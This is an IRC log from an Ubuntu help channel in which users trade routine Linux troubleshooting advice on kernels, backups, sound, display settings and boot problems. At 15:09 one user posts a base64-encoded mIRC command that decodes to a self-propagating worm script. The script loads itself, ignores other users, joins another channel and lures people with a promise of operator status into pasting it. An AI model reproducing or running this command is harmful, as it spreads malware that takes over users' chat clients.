[14:31] <_paneb> is there a (gtk) XML editor which automatically closes tags?
[14:32] <Merther> anyone know a good video conversion utility?  I'm trying to convert dvd files into mp4.
[14:33] <stddoubt> Does anyone know a multiple panels file manager?
[14:33] <k3rnelpanic> Would anyone know the command to clean up /var/cache/apt/archive after an upgrade?
[14:33] <jrib> k3rnelpanic: apt-get clean
[14:33] <k3rnelpanic> ty
[14:33] <erUSUL> Merther: ffmpeg or mencoder ? or you want a gui ? virtualdub ? dvdrip?
[14:34] <Merther> gui preferably, Thanks I'll check those ones out.
[14:34] <dashavoo> Merther, I strongly recommend avidemux
[14:34] <dashavoo> Merther, avidemux is gui
[14:34] <Merther> great, thanks
[14:35] <tamer> is it safe to upgrade to 8.10 now ?
[14:35] <arvind_khadri> tamer, not yet
[14:35] <kane77> can anyone help me with backup? I would like to back up /home of my laptop (create compressed tar of it) and send it over to desktop using ssh, how do I do that?
[14:35] <arvind_khadri> tamer, wait for a month more...
[14:35] <tamer> ok thanks
[14:36] <k3rnelpanic> jrib: ok that cleaned it up a bit but ever since i downloaded the upgrades my hd is still more used up then before. anything else i could do?
[14:36] <curaloucura> hello everybody. I want to remove some queue mails, I got a list of file names using mailq but I don't know how to remove them all
[14:36] <starenka> Sobaka: reed pm plz
[14:36] <curaloucura> I am using this command: mailq -qI Deferred|cut -f1 -d' '
[14:36] <tamer> but what can happen wrong if i update to 8.10 now ?
[14:36] <kane77> where is thrash in hardy? I tried .Trash, but it's not there..
[14:36] <curaloucura> how can I iterate over all filenames and remove them?
[14:37] <jrib> k3rnelpanic: use Accessories -> Disk usage analyzer   to see what is taking up all the space
[14:37] <erUSUL> curaloucura: what does that commands output? file paths ?
[14:37] <legend2440> !trash |  kane77
[14:37] <erUSUL> curaloucura: use xargs
[14:37] <kane77> legend2440, thank you..
[14:38] <usser> kane77, use sshfs to mount remote directory
[14:39] <curaloucura> erUSUL: sounds like what I want, thanks  ;)
[14:39] <soundray> ioops: I'm out of ideas at the moment, sorry
[14:39] <usser> kane77, then tar -pczf name_of_your_archive.tar.gz /home
[14:39] <usser> kane77, then just mv name_of_your_archive.tar.gz /path/to/sshfsmount
[14:39] <Guest89363> hy
[14:40] <k3rnelpanic> jrib: ok thanks
[14:40] <kane77> usser, the problem is I wouldn't have enough space to create archive in my /home on laptop.. anyway I found something on the internet..
[14:41] <dashavoo> kane77, rather than bothering to mount the ssh connection, you could also use scp (secure copy), "scp archive.tar.gz username@sshserver:/directory/on/server"
[14:41] <usser> kane77, oh you can sshfs-mount it cd to where u mounted and do the tar command it'll create an archive on the remote directory
[14:42] <kane77> dashavoo, usser thank you, I will try it and see..
[14:44] <Aquahallic> Mornin' folks
[14:46] <pakus> Hiya, someone can help me with a motd question?
[14:46] <Kartagis> !eggdrop
[14:46] <Aquahallic> was looking at a bug that's in evolution and it shows a proposed patch on bugzilla... http://bugzilla.gnome.org/show_bug.cgi?id=525555... do I need to install this patch or has it been incorporated into a new build that I can d'load????
[14:46] <Kartagis> !bot
[14:47] <jrib> Kartagis: do you have a question?
[14:47] <Kartagis> jrib> yes
[14:47] <soundray> pakus: it's hard to tell unless you ask it
[14:47] <Kartagis> jrib> I apt-get install'd eggdrop, but it is failing to locate it's modules
[14:48] <jrib> Kartagis: pastebin the error and your command
[14:48] <pakus> My motd has disappeared, I've got motd, motd.tail on /etc. But when i log in it isn't shown
[14:48] <k3rnelpanic> jrib: much better now thanks for the help
[14:48] <jrib> k3rnelpanic: no problem
[14:49] <pakus> I've run smbldap-configure script before I lost it...
[14:49] <Kartagis> jrib> http://paste.ubuntu.com/43631/
[14:49] <Aquahallic> can someone tell me how I'd go about installing a patch that's on bugzilla?
[14:49] <jrib> Kartagis: what does 'which eggdrop' return?
[14:50] <soundray> pakus: motd is generated from /etc/init.d/bootmisc.sh . Do you have this file?
[14:50] <erUSUL> Aquahallic: download it and use the "patch" command
[14:50] <Kartagis> jrib> /usr/bin/eggdrop
[14:50] <Aquahallic> do I patch source and then have to re-compile it?
[14:50] <erUSUL> Aquahallic: what type of patch for what software?
[14:50] <pakus> soundray: Yes, and It create /etc/motd on every reboot
[14:50] <Kartagis> !patch | Aquahallic
[14:50] <erUSUL> Aquahallic: yep patch recompile
[14:50] <jrib> Kartagis: why is it trying to load modules in your home?
[14:50] <Aquahallic> I can post the link
[14:51] <Aquahallic> http://bugzilla.gnome.org/show_bug.cgi?id=525555
[14:51] <MU> Salve
[14:51] <Kartagis> jrib> I don't know
[14:51] <soundray> pakus: so you haven't actually lost it -- it's just not being displayed
[14:51] <pakus> soundray: Exactly, ws i told :-P
[14:52] <jrib> Kartagis: try asking #eggdrop.  I suspect it's an issue with the .conf but I've never used eggdrop
[14:52] <MU> Olaa
[14:52] <MU> Tem alguem ai
[14:52] <jrib> !pt | MU
[14:52] <erUSUL> !pt  | MU
[14:52] <Aquahallic> erUSUL: may I PM you for a minute?
[14:52] <pakus> soundray: I found the problem
[14:53] <erUSUL> Aquahallic: yes
[14:53] <pakus> soundray: sshd_config was modified and PrintMotd was set to "no"
[14:53] <pakus> Thanls
[14:53] <pakus> thanks
[14:53] <pakus> by
[14:53] <ksbalaji> after installing envyNG my desktop looks great. Now after every update with adept etc., I have to invoke envyNG installer to get back my new look. Is it normal? Or is there a procedure I am missing? - like adding another repository which will take care of existing installations?
[14:55] <MU> tem algun brasileiroo ???
[14:55] <soundray> ksbalaji: no, this is a known limitation of envyng. You only have to run the installer after kernel upgrades, though.
[14:55] <jrib> MU: /join #ubuntu-br
[14:55] <Jet_Li> Pessoal, alguém já configurou 2 servidores dhcp na mesma rede?
[14:56] <jrib> !pt | Jet_Li
[14:56] <svh> dose linux  have any programs for making pro---- slide shows that work
[14:56] <ksbalaji> soundray, What? what do you mean by kernel upgrades? I just click full upgrade almost alternate days and I have to install envyNG again!
[14:57] <brutus> how to i grep for the expression '-t' ?
[14:57] <soundray> brutus: grep -- -t files
[14:58] <arvind_k> svh, open office
[14:58] <spree> ksbalaji envyng is broken in Hardy. Stop trying to use it.
[14:58] <soundray> ksbalaji: it just so happened that there was a kernel package among those updated each time. Is
[14:58] <ksbalaji> and soundray , when does kernel upgrade take place please?
[14:58] <brutus> soundray, thanks
[14:58] <mdmkolbe> How do I figure out what (uninstalled) package contains the file lastpage.sty?
[14:58] <jrib> mdmkolbe: you can use packages.ubuntu.com or apt-file
[14:58] <svh> thank you
[14:58] <arvind_k> ksbalaji, as they need to make the kernel better and patch it with new drivers and stuffs
[14:59] <soundray> mdmkolbe: "apt-file search lastpage.sty" spits out texlive-latex-extra and texlive-latex-recommended
[14:59] <spree> ksbalaji I'm having a very similar problem. I'm using a version of the nvidia proprietary drivers that is newer than the source tree and every time there's a kernel update i have to recompile the drivers. I do it before i reboot after a kernel upgrade now to make it all go easier.
[14:59] <ksbalaji> spree, My desktop started to look great after a year of ubuntu. Hey arvind_k !!! are you the same arv.khadri who recommended envyNG for me? Thankssssssssssssss!
[14:59] <spree> ksbalaji I'm just used to it at this point
[15:00] <arvind_k> ksbalaji, yeah i am the same :)
[15:00] <mdmkolbe> thx soundray and jrib
[15:00] <jessid> Hello. I an needing a very small linux distribution, and offcourse the firs one that comes to my mind is ubuntu, but i do not want to install thousands of packages that i dont need to uninstall them after that. does ubuntu has any command line option to start the live cd to make a simpler installation? I am needing this distro to load in max 20 seconds... some idea??? thanks
[15:00] <spree> jessid well the first one SHOULDN'T be ubuntu that comes to mind. Ubuntu is one of the largest distributions
[15:01] <qinking> 有好心的哥们帮个心
[15:01] <qinking> 忙
[15:01] <arvind_k> jesse, use xubuntu
[15:01] <spree> qinking: English only.
[15:01] <jessid> ﻿spree mmm understand.... if i install damn small linux, is it possible to change the kernel????
[15:01] <soundray> jessid: small does not generally equate to fast-booting
[15:01] <theshadow> I have an audio issue in hardy. I have system sounds. Mplayer plays sounds. Amarok and Rhythm box won't play anything. Amarok locks up and Rhythm says it its playing it but doesn't really do anything (including scrolling the progress) any ideas?
[15:01] <arvind_k> !cn | qinking
[15:01] <qinking> aha
[15:01] <jessid> ﻿soundray ok. My concern is the boot speed
[15:01] <qinking> my E is bad
[15:02] <soundray> jessid: on what kind of machine?
[15:02] <spree> jessid if you want real boot speed you should be using an embedded device
[15:02] <jessid> ﻿soundray give me a sec i will tell you
[15:03] <spree> embedded linux will boot in approximately 1 second
[15:03] <jessid> ﻿spree i need this device to run java apps with touch screen
[15:03] <Jet_Li> I need help for configuration two servers of DHCP the lan
[15:04] <Jet_Li> I need help for configuration two servers of DHCP the same lan
[15:04] <arvind_k> !help | Jet_Li
[15:04] <erUSUL> do not think you can have to dhcp servers on the same lan
[15:04] <ksbalaji> spree, So let me get used to recompile envyNG :( - NP my desktop is now great :)) arvind_k ;)
[15:04] <erUSUL> Jet_Li: do not think you can have two dhcp servers on the same lan
[15:04] <arvind_k> Jet_Li, sorry for that
[15:05] <arvind_k> ksbalaji, you dont really have to do that...i never did recompiling stuff
[15:05] <jessid> ﻿spree this is the link  http://www.via-itx.com/artigo-pico-itx-system.html
[15:06] <soundray> jessid: nice! How long does it take to boot at the moment?
[15:06] <cellofellow> The university library here uses UniPrint servers with a prepaid card system. I'm wondering how to connect to these UniPrint servers with CUPS on Ubuntu.
[15:07] <jessid> ﻿soundray  the truth is that i havent received the device yet. I think today i will
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[15:08] <ioops> somes people have some experience with initramfs please ? I am on the probleme since 2days ...
[15:08] <ksbalaji> jessid DSL is a very small linux distro! (you may run thru windows of course)
[15:08] <Debolaz> err... suddenly, shift and capslock doesnt work anymore. is there any way to reset keyboard handling in ubuntu+
[15:08] <erUSUL> ioops: ask away
[15:09] <scucci> Is there anyway to force 5.1 sound from stereo? All speakers work with 'speaker-test -c6 -D surround51', but I can't get sound from the rear speakers during mp3 playback or video files.
[15:09] <jessid> ﻿ksbalaji the only thing i dont like about dsl is that it comes with 2.4 kernel.... but i think i will need to styudy to update it.....
[15:09] <simpolai> $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNMZXpjZWJ1IHwgLm1zZyAkbmljayBHdXMyIHUgYiBtYWdpbmcgT1BFUkFUT1IgcyAkY2hhbiA/IGNvcHkvcGFzdGUgbW8gaTItPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=,m) | .load -rs  | //mode $me +R
[15:09] <tobywuk> Can someone tell me what the difference between the source code and a binary file is?
[15:09] <ATA_Dark_Shadow> greetings, topic : syslog (loghost), i've got one central logfile for all the "clients", is there a setting of some sort to change syslog getting remote messages to another logfile (one for each host)?
[15:09] <ioops> erUSUL: when I start ubuntu I have only the initramfs prompt
[15:09] <ioops> erUSUL: I try to reinstall the kernel to regenerate the initramfs without success
[15:10] <ioops> erUSUL: or to load some module with initramfs prompt it s not working anymore
[15:10] <dorto_> Is there a PDF version of Ubuntu Packaging Guide? https://help.ubuntu.com/6.10/ubuntu/packagingguide/C/index.html
[15:10] <erUSUL> ioops: that's usually due to the kernel not finding a sata/ise controller it can use to boot/install. have you tried the all-generic-ide boot option ? or others like noapic lapic etc?
[15:10] <Francis_> koe
[15:11] <erUSUL> !boot | ioops
[15:11] <Nutzebahn> Hello. Firestarter does not need to be run at system startup?
[15:11] <scucci> !sound
[15:11] <glitsj16> scucci: have you seen http://ubuntuforums.org/showthread.php?p=4451132 yet ? It has instructions on how to set up pulseaudio for 5.1 surround sound ..
[15:12] <soundray> jessid: I have an Eee PC that boots the stock Ubuntu kernel in 46 seconds. Using the customized eeepc kernel from array.org, I got it down to 28 seconds.
[15:12] <ioops> erUSUL: I try to boot with all_generic_ide and iqpoll stuff is not working also
[15:12] <erUSUL> ioops: :|
[15:12] <soundray> jessid: I think if you customize your kernel for that machine, you may be able to reduce the boot time similarly -- but it takes some work to build one.
[15:13] <scucci> Frick... I've been searching all morning... managed to miss that. Thank you, I'll read through that and give it a shot. :) Thank you
[15:13] <erUSUL> ioops: then i'm as lost as you ...
[15:13] <glitsj16> scucci: you're welcome
[15:14] <Emm> Hey, folks. Is there a way to install a trusted root certificate system-wide on ubuntu?
[15:14] <jessid> ﻿soundray very nice.... i think this week is going to be sooo long, jejeje.... i am reading a doc i found called linux from scratch. Have you seen??? perhaps is the right i need to do what you told me....
[15:14] <komputes> Nutzebahn: firestarter is a front end for configuring iptable, so as long as iptables is up the firewall is running
[15:14] <Emm> Would I use keytool or what?
[15:14] <aga^_^> !ping e
[15:14]  * ]K[^Omegadoom Ping e  Could not be resolved to an IP address
[15:14] <aga^_^> !ping me
[15:14]  * ]K[^Omegadoom Ping me  Could not be resolved to an IP address
[15:14] <Nutzebahn> Ok, thank you.
[15:15] <Rakeer> ping localhost?
[15:15] <ioops> erUSUL: you think I have to reinstall the OS ?
[15:15] <soundray> jessid: LFS is only really useful if you are serious about wanting to learn operating system internals. What I would recommend is for you to read the advice on compiling a kernel in Ubuntu:
[15:15] <soundray> !kernelcompile | jessid
[15:16] <erUSUL> ioops: that happens on a installed system? thought it was the livecd ... did it happened allways ?
[15:16] <jessid> ﻿soundray excellent my friend!!!!! immediately i will begin reading!!!! Thanks a lot!!!!!!!
[15:16] <ioops> on the live cd I have no problem
[15:16] <soundray> Nutzebahn: check with 'sudo iptables -L'. The default output is only about 8 lines long. If you have done the right thing with firestarter, there should be a lot more output
[15:17] <jessid> thank guys!!! all of you!!!!
[15:17] <ksbalaji> arvind_khadri, you mention something about not neding to recompile envyNG - ?!
[15:17] <ioops> end yesterday I have no probleme before the kernel upgrade I think because I already use the ubuntu with my hard disk
[15:17] <Nutzebahn> Ok.
[15:17] <komputes> Nutzebahn: you can list all iptables tables with the following command "sudo iptables -L"
[15:19] <soundray> ioops: I don't think reinstalling will help with your problem. My suggestion would be to stick with the older kernel, and perhaps report your problem on launchpad
[15:19] <soundray> !bugs | ioops
[15:19] <Nutzebahn> It is taking ages to list everything.
[15:19] <soundray> Nutzebahn: looks like it's all right then. Ctrl-C to interrupt.
[15:19] <Nutzebahn> Ok.
[15:19] <spree> http://www.youtube.com/watch?v=dj2vMrlmOB0
[15:19] <spree> oops wrong channel
[15:20] <erUSUL> ioops: do as soundray says. report the problem with the new kernel (btw which version fails)
[15:20] <unr3a1> hey all
[15:21] <caesargus> hi there, I'm stuck in low resolution mode - can anyone help me configure my X server correctly?
[15:21] <ksbalaji> arvind_k, My desktop effects die after an update - I understand after a kernel update. Then I have to start envyNG and do the ritual to install the drivers. Is there a shortcut?
[15:21] <ioops> erUSUL: how I can reinstall the default kernel ?
[15:22] <erUSUL> ioops: you removerd it? or was removed? anyway you can boot with the livecd chroot to the hd install and apt-get the working kernel
[15:23] <erUSUL> ioops: chrootis explained on the recovering grub after inst.. windows
[15:23] <soundray> erUSUL: if I understood ioops correctly, the system still boots fine with the previous kernel
[15:23] <ioops> soundray: yes
[15:24] <erUSUL> soundray: ioops then why he/you ask(s) 16:21 < ioops> erUSUL: how I can reinstall the default kernel ?
[15:24] <Dabbu1> i installed ubuntu alternate in my friends computer because ubuntu desktop didn't installed but the computer is running very slow....any help
[15:24] <ioops> erUSUL: I told about the kernel which the ubuntu install by default
[15:25] <amikrop> I cannot boot the Ubuntu CD on a Toshiba Satellite. It freezes before loading the kernel.
[15:25] <amikrop> Is that a known issue?
[15:25] <soundray> erUSUL: why not? I think it's a reasonable strategy to see if the kernel installation went wrong, and whether it can be fixed by reinstalling.
[15:25] <erUSUL> ioops: keep the working kernel you have
[15:25] <amikrop> Actually, I failed to boot 3 different Ubuntu CD versions.
[15:25] <Nutzebahn> I am sick of this partition access problem, I have to enter a password to access my partitions, I badly need some help, help?: nicholas@nubuntu:~$ sudo blkid
[15:25] <Nutzebahn> /dev/sda1: UUID="cdcfa498-760e-47ee-b8c1-5e8f4b8adc1d" SEC_TYPE="ext2" TYPE="ext3"
[15:25] <Nutzebahn> /dev/sda2: TYPE="swap" UUID="777c897b-d58e-4a05-9198-1dce54fed9d3"
[15:25] <Nutzebahn> /dev/sda5: LABEL="W-PT-2" UUID="C0A9-1F7D" TYPE="vfat"
[15:25] <Nutzebahn> /dev/sda6: LABEL="W-PT-3" UUID="24DC-B369" TYPE="vfat"
[15:25] <FloodBot1> Nutzebahn: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[15:25] <Nutzebahn> nicholas@nubuntu:~$ sudo gedit /etc/fstab
[15:25] <ioops> erUSUL: how I can know if my kernel is working or not
[15:25] <ioops> I have only one kernel on the computer
[15:26] <ioops> I have the 2-6-19 kernel
[15:26] <platius> caesargus, https://help.ubuntu.com/community/FixVideoResolutionHowto  have you looked here?
[15:26] <amikrop> Any help, please?
[15:26] <erUSUL> ioops: the one you can boot with works; the one that lands you on initramfs busybox shell does not
[15:26] <soundray> amikrop: some machines need the noapic and/or nolapic kernel boot options
[15:27] <soundray> !bootoptions | amikrop
[15:27] <ioops> ok erUSUL I have only one kernel on my ubuntu it sthe 2-6-19 and I can t boot
[15:27] <Aquahallic> is there somewhere I can look for ubuntu packages to find out if and when a particular patch for that package is scheduled to come down in updates?...
[15:27] <soundray> ioops: are you near the problem machine right now?
[15:27] <histo> I'm trying to create a samba share with the gui by right clicking its saying I don't have permission to create a user share?
[15:27] <sumix> Is there a cmd to show my monitors current specs, like VertRefresh, HorizSync etc..
[15:27] <histo> What group do I need to be a member of?
[15:28] <tavi> hy
[15:28] <erUSUL> ioops: so when you answered to soundray "if I understood ioops correctly, the system still boots fine with the previous kernel" with "yes" what kernel were you talking about ???
[15:28] <tavi> i have  a vlc player
[15:28] <tavi> and the subtitles don't run exacly like the movie
[15:28] <tavi> what i do
[15:28] <tavi> ?
[15:28] <amikrop> soundray: So, you say that was it? Is it going to work if a add these boot options?
[15:28] <unr3a1>  I am using a dark theme with gnome in ubuntu, and now pidgin displays everyone's text as white against a white background (making it impossible to see).  how can I force xserver to display the general text colors in a different color?
[15:28] <jessid> good bye!!!
[15:29] <unfo> unr3a1: sounds like you are encountering a bug
[15:29] <ioops> erUSUL: I talking about the first kernel when I installed the ubuntu, because after I upgrade the ubuntu and I saw the kernel also
[15:29] <Aquahallic> histo: if you're using nautilus then close it and then from terminal type 'sudo nautilus' that will let you run nautilus as root... be CAREFUL though.. you can break things as you have root access to your filesystem
[15:29] <soundray> amikrop: no, but it's the first thing you could try, because it often helps and is easy to do
[15:29] <ioops> erUSUL: and I don t know which kernel the ubuntu install by default
[15:29] <unfo> unr3a1: i don't know how to fix it though.  But you should report it.
[15:29] <tavi> someone know?
[15:29] <unfo> tavi: know what?
[15:29] <unr3a1> unfo, well usually i can customize the colors of the theme, but this particular theme doesn't allow the customization of colors
[15:29] <S4nD3r> Hi there, Id like to have a help to use my wifi card atheros in ubuntu
[15:30] <tavi> how to make a subitle run in the same time whit the movie
[15:30] <amikrop> soundray: OK. If this doesn't help, what can I do?
[15:30] <tavi> i have vlc player
[15:30] <erUSUL> ioops: 2.6.24-19 afaik does that kernel boots?
[15:30] <S4nD3r> This is recognized in restricted drivers, but this not get to find wifinetwork, what to do?
[15:30] <ksbalaji> spree, arvind khadri mentions something about not needing to reinstall drivers. How could that be possible? are we missing something? Are you sure that reinstalling drivers is a must?
[15:30] <amikrop> soundray: I mean, what could I try next?
[15:30] <histo> Aquahallic: isn't there a way just to add my user to a group so I can do this?
[15:31] <unfo> unr3a1: but does my guess that "pidgin shows all instant messages as invisible when you use a dark gnome theme" seem correct?
[15:31] <soundray> amikrop: other boot options, according to the page ubottu pointed out. Then you could look up installation reports on your particular model on tuxmobil.org or by doing a web search.
[15:31] <[g2]> in gnome how do I get the 'task bar' on the bottom of the screen after removing it like an idiot ? THX
[15:31] <ioops> erUSUL: the 2-6-24 is the ubuntu default kernel?
[15:31] <tavi> so dodes someone know?
[15:31] <histo> Aquahallic: nevermind found the bug
[15:32] <amikrop> soundray: The problem is that I searched the web, without much luck.
[15:32] <unfo> hi all, how long does the 8.04 "Hardy" liveCD take showing just a progress bar bouncing left and right before it starts showing status messages like "Loading drivers" at the bottom of the usplash screen?
[15:32] <erUSUL> ioops: yes on hardy is 2.6.24-19 updates are 2.6.24-20 or 21
[15:32] <unfo> s/take/usually take
[15:32] <soundray> amikrop: check tuxmobil.org
[15:32] <ioops> erUSUL: why I have the 2-6-19 ?
[15:32] <unfo> tavi, i don't know but try channel #videolan
[15:33] <unr3a1> unfo: well, no.  it should work
[15:33] <ioops> erUSUL: at least maybe I wrote a mistake
[15:33] <soundray> ioops: you don't have 2-6-19, you have 2.6.24-19-generic (and that's fine)
[15:33] <unr3a1> but the default text color is white
[15:33] <sumix> is there a cmd to show my monitors current specs?
[15:33] <NeoSanity> does anyone know if there is a way of setting up Ubuntu so it can boot off a USB without having to reboot the whole system?
[15:33] <unfo> unr3a1: ah. what pidgin theme are you using?
[15:33] <ioops> soundray: ok
[15:33] <soundray> sumix: try "xrandr -q" and "ddcprobe"
[15:33] <unr3a1> unfo: the default
[15:33] <erUSUL> ioops: what ubuntu version do you have installed?
[15:33] <unfo> unr3a1: what gnome theme?
[15:33] <ioops> the latest 8,04
[15:34] <ksbalaji> how to know version?
[15:34] <erUSUL> ioops: http://packages.ubuntu.com/hardy/linux
[15:34] <soundray> ioops: are you near the problem machine right now?
[15:34] <erUSUL> !version
[15:34] <unr3a1> unfo: neutronium gilouche
[15:34] <ioops> soundray: no
[15:34] <unfo> all, how long does the 8.04 "Hardy" liveCD take showing just a progress bar bouncing left and right before progress messages start to appear at the bottom of the screen?
[15:34] <amikrop> soundray: OK. Thanks for everything.
[15:34] <ioops> soundray: what you whant to know about this machine?
[15:35] <unfo> unr3a1: so you are saying that if i install neutronium gilouche, my pidgin IMs will show up black on black?
[15:35] <soundray> ioops: I want to know in what kind of position you are to try concrete troubleshooting suggestions.
[15:35] <unfo> all, on *your* particular computer, how long does the 8.04 "Hardy" liveCD take during startup showing just a progress bar bouncing left and right before progress messages start to appear at the bottom of the screen?
[15:35] <ioops> soundray: what kind of position ?
[15:35] <Daisuke_Ido> unfo: until it boots, it usually doesn't show any progress messages at all
[15:36] <soundray> ioops: are you still in another building?
[15:36] <unfo> Daisuke_Ido: it shows things like "Loading restricted drivers", no?
[15:36] <unr3a1> unfo: white on white.  but only if the person you are IMing is using their default text theme.  cause the gnome theme changes all text to white
[15:36] <Emm> are there any alternatives to 'find' that won't bring my system to its knees?
[15:36] <ksbalaji> erUSUL, kernel version please!
[15:36] <ioops> soundray: yes
[15:36] <sumix> I want to see the VertRefresh & HorizSync of my monitor etc, Ive tried, xorg.conf, xrandr, ddcprobe
[15:36] <unfo> unr3a1: sounds like a bug.
[15:36] <erUSUL> ksbalaji: uname -r
[15:36] <unfo> unr3a1: come join me in #gnome
[15:37] <soundray> emm: locate (but you may have to run sudo updatedb, which will probably bring your system down to its knees again)
[15:37] <Daisuke_Ido> unfo: i don't think so, but then again, it's been so long since i've booted a livecd -_-
[15:37] <Freddy1990> Hey, can anyone help me? I've got a problem with my ubuntu installation =/ When I start it tells me it can't use the usb ports or something, while both my bootloader and windows have no problem with it... http://freddy1990.com/pictures/20080905-DSC_0014.jpg I have a Gigabyte GA-MA790FX-DQ6 mobo btw
[15:37] <ioops> erUSUL: and soundray I am not so confortable with my probleme
[15:37] <unfo> Daisuke_Ido: i will ask the whole channel again.  I hope my message will be clear
[15:37] <sumix> How does Ubuntu get the VertRefresh etc? It must be somewhere. (its not in xorg.conf)
[15:37] <soundray> sumix: the most reliable source would be the manual that came with your monitor. You can also look for the specs on the manufacturers web site
[15:37] <unfo> all, on *your* particular computer, how long does the 8.04 "Hardy" liveCD take during startup showing just a progress bar bouncing left and right before progress messages start to appear at the bottom of the screen?
[15:38] <sumix> soundray: I'm on a laptop :(
[15:38] <soundray> ioops: it's useless trying to give you advice if you can't try it out and if you can't feed back diagnostic information to us.
[15:38] <soundray> sumix: then you shouldn't need those specs. What are you trying to do?
[15:38] <ioops> soundray: I can bring the machine in the same place
[15:38] <xindo> is there a way to adjust a touchpad in xubuntu
[15:38] <erUSUL> unfo: by default ubuntu does not show boot msgs if the progress bar is bouncing instead of progressing there must be some problem
[15:39] <sumix> soundray: I'm trying to get the correct resolution
[15:39] <soundray> ioops: that would improve your chances of getting useful advice
[15:39] <vassler> i mistakenly deleted the network and fusion-icon icons for my main taskbar that usualy sits next to the time/date icons.... how do i get them back?
[15:39] <KoolD>   /join blender
[15:39] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and progress.
[15:39] <vassler> someone please help me.
[15:39] <|_James_Bond_|> slack
[15:39] <soundray> sumix: what procedure are you using, and what guide are you following?
[15:39] <ioops> soundray: I will try
[15:39] <|_James_Bond_|> Sorry
[15:40] <Freddy1990> Anyone?
[15:40] <vassler> someone please help me.
[15:40] <vassler> i mistakenly deleted the network and fusion-icon icons for my main taskbar that usualy sits next to the time/date icons.... how do i get them back?
[15:40] <soundray> !please | vassler
[15:40] <soundray> !repeat | vassler
[15:40] <pdm_> how can i install latest version of amsn, if in my synaptic ther's only old version????
[15:40] <Nutzebahn> I am sick of this partition access problem, I have to enter a password to access my partitions, I badly need some help, help?: http://pastebin.com/d38d5ede4
[15:40] <sumix> soundray: Well I'm trying out BSD and Ubuntu has the perfect settings for this monitor, In BSD when I set the vertrefresh etc, it works but not perfectly, I need the correct settings, which ubuntu must have?
[15:41] <erUSUL> pdm_: www.getdeb.net
[15:41] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and progress.  Is that unusual?
[15:42] <woogens> Hopefully I'm not the 100th to ask, but wasn't 8.10 alpha 5 supposed to be released yesterday? :)
[15:42] <Freddy1990> Hey, can anyone help me? I've got a problem with my ubuntu installation =/ When I start it tells me it can't use the usb ports or something, while both my bootloader and windows have no problem with it... http://freddy1990.com/pictures/20080905-DSC_0014.jpg I have a Gigabyte GA-MA790FX-DQ6 mobo btw
[15:42] <soundray> sumix: Ubuntu apparently autodetects the proper settings. See if they are reported in /var/log/Xorg.0.log
[15:42] <pdm_> erUSUL> i'v got ubuntu
[15:42] <soundray> sumix: also, it might help to use the same Xorg version that you have in Ubuntu in BSD as well
[15:42] <draganjovev_> Hello everyone! I'm trying to install ubuntu server using USB drive. I've downloaded ISO and putted it on USB drive, installed extlinux and successfully got into ubuntu installer. However, one installer step is looking for CD-ROM with installation CD, but there is no optical drive attached to my server and I want to trick installer to look at USB storage device since there are installation files. Anyone knows how can I do that, please?
[15:43] <sumix> soundray: ah right, yeah good idea
[15:43] <sumix> soundray: cheers
[15:43] <Pici> pdm_: Ubuntu is not a rolling release distribution, thus it will not have the latest version of software if that software was released after the distro release.
[15:43] <snikker> hi, with virtualbox i can access to a real partition with an existing OS or i can use only virtual partions (*.vdx)?
[15:44] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and continues to progress.  Is that unusual?
[15:44] <vassler> i mistakenly deleted the network and fusion-icon icons for my main taskbar that usualy sits next to the time/date icons.... how do i get them back?
[15:44] <soundray> !intrepid | woogens
[15:44] <Freddy1990> snikker, only virtuals normally and shared folders
[15:45] <aar> Hi, I've just completed a Kubuntu Hardy install. The screen size is too small. When I go to system config it says that the screen settings are on the highest option (800x600), but that still doesn't cover the entire screen. How can I fix this?
[15:45] <soundray> vassler: try running nm-applet in terminal. Does that bring the network icon back?
[15:45] <snikker> Freddy1990: ok, thank you
[15:45] <woogens> soundray: Thanks for the channel hint.
[15:45] <soundray> aar: in ubuntu you would solve this by running gksudo displayconfig-gtk -- I don't know the kde equivalent, maybe ask in #kubuntu
[15:46] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and continues to progress.  Is that unusual?
[15:47] <erUSUL> unfo: no afaik; cdroms are slower than disk access
[15:47] <aar> soundray: thanks for the tip
[15:47] <unfo> erUSUL: ok thank you.
[15:47] <soundray> ......................................
[15:47] <Pici> soundray: you okay?
[15:48] <Zaiden> I can't seem to get xvidcap to work, how do I get gvidcap?
[15:48] <kyo> 中国
[15:48] <Aliean> hi, I'm trying to save a list of the installed packages on my system (from within Synaptic) so that I can install the same ones on another computer. However, the files that are written are blank. Is there another way to save that list (maybe a like a script)?
[15:48] <Pici> !cn | kyo
[15:48] <Freddy1990> pff, fuck this, bye
[15:49] <\3TATUK> er.. i'm getting a 403 CAPTCHA page for _any_ google search I make .. is anyone else getting this too?
[15:49] <\3TATUK> just make a google search for ...anything
[15:49] <\3TATUK> did google explicitly enable that for some type of experiment / statistics research?
[15:49] <komputes> \3TATUK: nope
[15:50] <\3TATUK> why the fuck am i getting it?
[15:50] <komputes> \3TATUK: language
[15:50] <Pici> \3TATUK: That language is not appropriate here
[15:50] <\3TATUK> weird all of a sudden it stopped doing it
[15:52] <fograven> I need help with two things please, one I built/installed Luxrender, how can make sure I installed it correctly, I can open it so I guess it works, and then how would I go about adding it to my main menu so I don't have to hit ALT+F2 everytime
[15:52] <timo> Hi
[15:53] <komputes> fograven: right clcik the applications menu and edit menu
[15:53] <komputes> fograven: from there click new item
[15:53] <timo> dose any one know how i can receive files from a mobile using bluetooth. I can send files and browse other devices just cant receive
[15:54] <pascal> re
[15:54] <pascal> re
[15:55] <komputes> timo: in the bluetooth preferences, third tab "general" check "receive files from remote devices"
[15:55] <Mister_Higgs> me revoilà j'ai redémarré
[15:55] <ioops2> soundray: i have the computer near from me
[15:55] <xindo> anyone know of a screen saver that would display a few select sysmons? disc, load, network, etc?
[15:55] <ioops2> in the same place
[15:55] <Pici> !fr | Mister_Higgs
[15:55] <erUSUL> !fr > Mister_Higgs
